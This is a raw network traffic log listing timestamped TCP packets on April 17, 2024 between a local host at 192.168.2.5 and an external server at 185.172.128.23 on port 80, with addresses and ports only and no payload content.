Apr 17, 2024 09:17:14.078396082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078396082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078413963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078428984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078557014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078574896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078593016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078603983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078610897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078651905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078651905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.078944921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078963041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.078986883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079005003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079015970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079015970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079102993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079221010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079238892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079258919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079265118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079276085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079297066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079297066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079380035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079571962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079592943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079612017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079627991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.079643965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.079708099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.133533955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133560896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133579969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133599043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133616924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.133656025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.133656025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.133785009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133804083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133822918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133830070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133977890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.133981943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.133996964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.134059906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166620016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166645050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166675091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166702986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166775942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166795015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166815996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166829109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166832924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166851997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166871071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166876078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166877031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166889906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166908979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166909933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166909933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166927099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166933060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166944981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166970015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166970015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.166973114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.166994095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167001009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167011976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167027950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167027950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167077065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167097092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167115927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167121887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167121887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167135000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167152882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167167902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167167902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167208910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167208910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167486906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167505980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167543888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167543888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.167576075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.167593956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.168140888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.223980904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224009991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224030972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224040985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224069118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224069118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224083900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224117041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224137068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224145889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224154949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224154949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224174976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224181890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224193096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224211931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224217892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224217892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224230051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224231005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224251032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224260092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224260092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224268913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224286079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224303961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224308014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224308014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224323034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.224342108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224342108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.224442959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230053902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230072021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230088949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230107069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230122089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230122089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230128050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230140924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230146885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230154991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230166912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230184078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230185986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230185986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230207920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230230093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230247974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230269909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230269909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230283976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230287075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230302095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230318069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230330944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230330944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230334997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230350018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230353117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230371952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230389118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230391979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230391979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230406046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230423927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230426073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230426073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230463028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230463028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230468988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230485916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230503082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230506897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230521917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230539083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230550051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230550051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230556965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230572939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230575085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230582952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230593920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230612993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230616093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230616093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230631113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230647087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230647087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230649948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230667114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230685949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.230685949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230685949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230720997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.230720997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280267954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280296087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280314922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280332088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280335903 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280349970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280368090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280375004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280375957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280404091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280407906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280421972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280441999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280442953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280442953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280461073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280478954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280478954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280478954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280498981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280519962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280519962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280534029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280538082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280558109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280576944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280596018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280603886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280621052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280641079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280658960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280678034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280679941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280694962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280713081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280714035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280734062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280734062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280735016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280746937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280754089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280780077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280797958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280797958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280797958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280817986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280838013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280874014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280891895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280920029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280946970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280957937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280957937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.280966997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.280985117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281002998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281002998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281003952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281039000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281039000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281064034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281109095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281140089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281168938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281186104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281214952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281217098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281234980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281255007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281259060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281259060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281275034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.281277895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281291962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.281811953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282016993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282035112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282052994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282098055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282098055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282130957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282159090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282176971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282196999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282222033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282222033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282243013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282283068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282283068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282370090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282409906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282447100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282463074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.282501936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.282501936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.350485086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.555388927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662009001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662034035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662053108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662071943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662075996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662091017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662101984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662108898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662120104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662127972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662149906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662149906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662195921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662214041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662235022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662240982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662254095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.662261963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662283897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.662291050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.717495918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717525005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717542887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717561007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717575073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.717611074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.717816114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717834949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717853069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717869997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.717875004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.717897892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.717914104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.718998909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719034910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719043970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719053030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719074965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719084978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719090939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719108105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719125032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719130039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719141006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719141960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719160080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719166994 CEST	49704	80	192.168.2.5	185.172.128.23
